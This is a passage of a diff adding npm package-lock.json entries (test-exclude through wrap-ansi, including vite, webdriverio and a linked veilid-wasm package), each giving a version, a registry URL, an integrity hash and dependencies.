"https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz", + "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==", + "dev": true, + "dependencies": { + "@istanbuljs/schema": "^0.1.2", + "glob": "^7.1.4", + "minimatch": "^3.0.4" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/test-exclude/node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/test-exclude/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/test-exclude/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==", + "dev": true + }, + "node_modules/through": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", + "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==", + "dev": true + }, + "node_modules/tinyspy": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/tinyspy/-/tinyspy-2.1.1.tgz", + "integrity": "sha512-XPJL2uSzcOyBMky6OFrusqWlzfFrXtE0hPuMgW8A2HmaqrPo4ZQHRN/V0QXN3FSjKxpsbRrFc5LI7KOwBsT1/w==", + "dev": true, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/tmp": { + "version": "0.0.33", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz", + "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", + "dev": true, + "dependencies": { + "os-tmpdir": "~1.0.2" + }, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/tr46": { + "version": "0.0.3", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", + "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==", + "dev": true + }, + "node_modules/traverse": { + "version": "0.3.9", + "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.3.9.tgz", + "integrity": "sha512-iawgk0hLP3SxGKDfnDJf8wTz4p2qImnyihM5Hh/sGvQ3K37dPi/w8sRhdNIxYA1TwFwc5mDhIJq+O0RsvXBKdQ==", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/ts-node": { + "version": "10.9.1", + "resolved": "https://registry.npmjs.org/ts-node/-/ts-node-10.9.1.tgz", + "integrity": "sha512-NtVysVPkxxrwFGUUxGYhfux8k78pQB3JqYBXlLRZgdGUqTO5wU/UyHop5p70iEbGhB7q5KmiZiU0Y3KlJrScEw==", + "dev": true, + "dependencies": { + "@cspotcode/source-map-support": "^0.8.0", + "@tsconfig/node10": "^1.0.7", + "@tsconfig/node12": "^1.0.7", + "@tsconfig/node14": "^1.0.0", + "@tsconfig/node16": "^1.0.2", + "acorn": "^8.4.1", + "acorn-walk": "^8.1.1", + "arg": "^4.1.0", + "create-require": "^1.1.0", + "diff": "^4.0.1", + "make-error": "^1.1.1", + "v8-compile-cache-lib": "^3.0.1", + "yn": "3.1.1" + }, + "bin": { + "ts-node": "dist/bin.js", + "ts-node-cwd": "dist/bin-cwd.js", + "ts-node-esm": "dist/bin-esm.js", + "ts-node-script": "dist/bin-script.js", + "ts-node-transpile-only": "dist/bin-transpile.js", + "ts-script": "dist/bin-script-deprecated.js" + }, + "peerDependencies": { + "@swc/core": ">=1.2.50", + "@swc/wasm": ">=1.2.50", + "@types/node": "*", + "typescript": ">=2.7" + }, + "peerDependenciesMeta": { + "@swc/core": { + "optional": true + }, + "@swc/wasm": { + "optional": true + } + } + }, + "node_modules/ts-node/node_modules/diff": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", + "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", + "dev": true, + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/tslib": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.2.tgz", + "integrity": "sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q==", + "dev": true + }, + "node_modules/type-fest": { + "version": "0.21.3", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", + "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/typescript": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.2.2.tgz", + "integrity": "sha512-mI4WrpHsbCIcwT9cF4FZvr80QUeKvsUsUvKDoR+X/7XHQH98xYD8YHZg7ANtz2GtZt/CBq2QJ0thkGJMHfqc1w==", + "dev": true, + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/ufo": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/ufo/-/ufo-1.3.0.tgz", + "integrity": "sha512-bRn3CsoojyNStCZe0BG0Mt4Nr/4KF+rhFlnNXybgqt5pXHNFRlqinSoQaTrGyzE4X8aHplSb+TorH+COin9Yxw==", + "dev": true + }, + "node_modules/unbzip2-stream": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/unbzip2-stream/-/unbzip2-stream-1.4.3.tgz", + "integrity": "sha512-mlExGW4w71ebDJviH16lQLtZS32VKqsSfk80GCfUlwT/4/hNRFsoscrF/c++9xinkMzECL1uL9DDwXqFWkruPg==", + "dev": true, + "dependencies": { + "buffer": "^5.2.1", + "through": "^2.3.8" + } + }, + "node_modules/universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", + "dev": true, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/unzipper": { + "version": "0.10.14", + "resolved": "https://registry.npmjs.org/unzipper/-/unzipper-0.10.14.tgz", + "integrity": "sha512-ti4wZj+0bQTiX2KmKWuwj7lhV+2n//uXEotUmGuQqrbVZSEGFMbI68+c6JCQ8aAmUWYvtHEz2A8K6wXvueR/6g==", + "dev": true, + "dependencies": { + "big-integer": "^1.6.17", + "binary": "~0.3.0", + "bluebird": "~3.4.1", + "buffer-indexof-polyfill": "~1.0.0", + "duplexer2": "~0.1.4", + "fstream": "^1.0.12", + "graceful-fs": "^4.2.2", + "listenercount": "~1.0.1", + "readable-stream": "~2.3.6", + "setimmediate": "~1.0.4" + } + }, + "node_modules/unzipper/node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/unzipper/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true + }, + "node_modules/unzipper/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.11.tgz", + "integrity": "sha512-dCwEFf0/oT85M1fHBg4F0jtLwJrutGoHSQXCh7u4o2t1drG+c0a9Flnqww6XUKSfQMPpJBRjU8d4RXB09qtvaA==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/userhome": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/userhome/-/userhome-1.0.0.tgz", + "integrity": "sha512-ayFKY3H+Pwfy4W98yPdtH1VqH4psDeyW8lYYFzfecR9d6hqLpqhecktvYR3SEEXt7vG0S1JEpciI3g94pMErig==", + "dev": true, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/util": { + "version": "0.12.5", + "resolved": "https://registry.npmjs.org/util/-/util-0.12.5.tgz", + "integrity": "sha512-kZf/K6hEIrWHI6XqOFUiiMa+79wE/D8Q+NCNAWclkyg3b4d2k7s0QGepNjiABc+aR3N1PAyHL7p6UcLY6LmrnA==", + "dev": true, + "dependencies": { + "inherits": "^2.0.3", + "is-arguments": "^1.0.4", + "is-generator-function": "^1.0.7", + "is-typed-array": "^1.1.3", + "which-typed-array": "^1.1.2" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true + }, + "node_modules/uuid": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-9.0.0.tgz", + "integrity": "sha512-MXcSTerfPa4uqyzStbRoTgt5XIe3x5+42+q1sDuy3R5MDk66URdLMOZe5aPX/SQd+kuYAh0FdP/pO28IkQyTeg==", + "dev": true, + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/v8-compile-cache-lib": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/v8-compile-cache-lib/-/v8-compile-cache-lib-3.0.1.tgz", + "integrity": "sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==", + "dev": true + }, + "node_modules/validate-npm-package-license": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", + "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", + "dev": true, + "dependencies": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "node_modules/veilid-wasm": { + "resolved": "../pkg", + "link": true + }, + "node_modules/vite": { + "version": "4.4.9", + "resolved": "https://registry.npmjs.org/vite/-/vite-4.4.9.tgz", + "integrity": "sha512-2mbUn2LlUmNASWwSCNSJ/EG2HuSRTnVNaydp6vMCm5VIqJsjMfbIWtbH2kDuwUVW5mMUKKZvGPX/rqeqVvv1XA==", + "dev": true, + "dependencies": { + "esbuild": "^0.18.10", + "postcss": "^8.4.27", + "rollup": "^3.27.1" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^14.18.0 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + }, + "peerDependencies": { + "@types/node": ">= 14", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.4.0" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + } + } + }, + "node_modules/vite-plugin-istanbul": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/vite-plugin-istanbul/-/vite-plugin-istanbul-5.0.0.tgz", + "integrity": "sha512-Tg9zDmm/u4SdEDFbEWHBz7mmFe7jhLRmArA2XCmw5yydEFCARU9r4TxqFFnBFWCL63D9A7XA7VELulOO5T5o/g==", + "dev": true, + "dependencies": { + "@istanbuljs/load-nyc-config": "^1.1.0", + "espree": "^9.6.1", + "istanbul-lib-instrument": "^5.1.0", + "picocolors": "^1.0.0", + "test-exclude": "^6.0.0" + }, + "peerDependencies": { + "vite": ">=2.9.1 <= 5" + } + }, + "node_modules/vite-plugin-top-level-await": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/vite-plugin-top-level-await/-/vite-plugin-top-level-await-1.3.1.tgz", + "integrity": "sha512-55M1h4NAwkrpxPNOJIBzKZFihqLUzIgnElLSmPNPMR2Fn9+JHKaNg3sVX1Fq+VgvuBksQYxiD3OnwQAUu7kaPQ==", + "dev": true, + "dependencies": { + "@rollup/plugin-virtual": "^3.0.1", + "@swc/core": "^1.3.10", + "uuid": "^9.0.0" + }, + "peerDependencies": { + "vite": ">=2.8" + } + }, + "node_modules/vite-plugin-wasm": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/vite-plugin-wasm/-/vite-plugin-wasm-3.2.2.tgz", + "integrity": "sha512-cdbBUNR850AEoMd5nvLmnyeq63CSfoP1ctD/L2vLk/5+wsgAPlAVAzUK5nGKWO/jtehNlrSSHLteN+gFQw7VOA==", + "dev": true, + "peerDependencies": { + "vite": "^2 || ^3 || ^4" + } + }, + "node_modules/wait-port": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/wait-port/-/wait-port-1.0.4.tgz", + "integrity": "sha512-w8Ftna3h6XSFWWc2JC5gZEgp64nz8bnaTp5cvzbJSZ53j+omktWTDdwXxEF0jM8YveviLgFWvNGrSvRHnkyHyw==", + "dev": true, + "dependencies": { + "chalk": "^4.1.2", + "commander": "^9.3.0", + "debug": "^4.3.4" + }, + "bin": { + "wait-port": "bin/wait-port.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/wait-port/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wait-port/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/wait-port/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/wait-port/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/wait-port/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/wait-port/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wcwidth": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/wcwidth/-/wcwidth-1.0.1.tgz", + "integrity": "sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==", + "dev": true, + "dependencies": { + "defaults": "^1.0.3" + } + }, + "node_modules/web-streams-polyfill": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.2.1.tgz", + "integrity": "sha512-e0MO3wdXWKrLbL0DgGnUV7WHVuw9OUvL4hjgnPkIeEvESk74gAITi5G606JtZPp39cd8HA9VQzCIvA49LpPN5Q==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/webdriver": { + "version": "8.16.4", + "resolved": "https://registry.npmjs.org/webdriver/-/webdriver-8.16.4.tgz", + "integrity": "sha512-iL8yt6JrH6GqWCMyyZ8/4UMH1Pkez0VCYtkF5Fwwy6gLbP7q4iOVIFjKXP6Cg5gA2aoJvf9TLZ4cFbGOvsZXCw==", + "dev": true, + "dependencies": { + "@types/node": "^20.1.0", + "@types/ws": "^8.5.3", + "@wdio/config": "8.16.3", + "@wdio/logger": "8.11.0", + "@wdio/protocols": "8.14.6", + "@wdio/types": "8.16.3", + "@wdio/utils": "8.16.3", + "deepmerge-ts": "^5.1.0", + "got": "^ 12.6.1", + "ky": "^1.0.0", + "ws": "^8.8.0" + }, + "engines": { + "node": "^16.13 || >=18" + } + }, + "node_modules/webdriver/node_modules/get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/webdriver/node_modules/got": { + "version": "12.6.1", + "resolved": "https://registry.npmjs.org/got/-/got-12.6.1.tgz", + "integrity": "sha512-mThBblvlAF1d4O5oqyvN+ZxLAYwIJK7bpMxgYqPD9okW0C3qm5FFn7k811QrcuEBwaogR3ngOFoCfs6mRv7teQ==", + "dev": true, + "dependencies": { + "@sindresorhus/is": "^5.2.0", + "@szmarczak/http-timer": "^5.0.1", + "cacheable-lookup": "^7.0.0", + "cacheable-request": "^10.2.8", + "decompress-response": "^6.0.0", + "form-data-encoder": "^2.1.2", + "get-stream": "^6.0.1", + "http2-wrapper": "^2.1.10", + "lowercase-keys": "^3.0.0", + "p-cancelable": "^3.0.0", + "responselike": "^3.0.0" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sindresorhus/got?sponsor=1" + } + }, + "node_modules/webdriverio": { + "version": "8.16.4", + "resolved": "https://registry.npmjs.org/webdriverio/-/webdriverio-8.16.4.tgz", + "integrity": "sha512-gt1f7qlfGzx8kKvGBxeOtYqbxYAi929fIFNnE4nDDxOzBL6Pd2ctStiqMjxeCOsZ5Z5sDDKw//P6FSRYnhNiaA==", + "dev": true, + "dependencies": { + "@types/node": "^20.1.0", + "@wdio/config": "8.16.3", + "@wdio/logger": "8.11.0", + "@wdio/protocols": "8.14.6", + "@wdio/repl": "8.10.1", + "@wdio/types": "8.16.3", + "@wdio/utils": "8.16.3", + "archiver": "^6.0.0", + "aria-query": "^5.0.0", + "css-shorthand-properties": "^1.1.1", + "css-value": "^0.0.1", + "devtools-protocol": "^0.0.1188743", + "grapheme-splitter": "^1.0.2", + "import-meta-resolve": "^3.0.0", + "is-plain-obj": "^4.1.0", + "lodash.clonedeep": "^4.5.0", + "lodash.zip": "^4.2.0", + "minimatch": "^9.0.0", + "puppeteer-core": "^20.9.0", + "query-selector-shadow-dom": "^1.0.0", + "resq": "^1.9.1", + "rgb2hex": "0.2.5", + "serialize-error": "^11.0.1", + "webdriver": "8.16.4" + }, + "engines": { + "node": "^16.13 || >=18" + }, + "peerDependencies": { + "devtools": "^8.14.0" + }, + "peerDependenciesMeta": { + "devtools": { + "optional": true + } + } + }, + "node_modules/webidl-conversions": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", + "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==", + "dev": true + }, + "node_modules/whatwg-url": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz", + "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==", + "dev": true, + "dependencies": { + "tr46": "~0.0.3", + "webidl-conversions": "^3.0.0" + } + }, + "node_modules/which": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/which/-/which-4.0.0.tgz", + "integrity": "sha512-GlaYyEb07DPxYCKhKzplCWBJtvxZcZMrL+4UkrTSJHHPyZU4mYYTv3qaOe77H7EODLSSopAUFAc6W8U4yqvscg==", + "dev": true, + "dependencies": { + "isexe": "^3.1.1" + }, + "bin": { + "node-which": "bin/which.js" + }, + "engines": { + "node": "^16.13.0 || >=18.0.0" + } + }, + "node_modules/which-typed-array": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.11.tgz", + "integrity": "sha512-qe9UWWpkeG5yzZ0tNYxDmd7vo58HDBc39mZ0xWWpolAGADdFOzkfamWLDxkOWcvHQKVmdTyQdLD4NOfjLWTKew==", + "dev": true, + "dependencies": { + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/workerpool": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-6.2.1.tgz", + "integrity": "sha512-ILEIE97kDZvF9Wb9f6h5aXK4swSlKGUcOEGiIYb2OOu/IrDU9iwj0fD//SsA6E5ibwJxpEvhullJY4Sl4GcpAw==", + "dev": true + }, + "node_modules/wrap-ansi": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", + "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi-cjs": { + "name": "wrap-ansi", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/wrap-ansi-cjs/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": 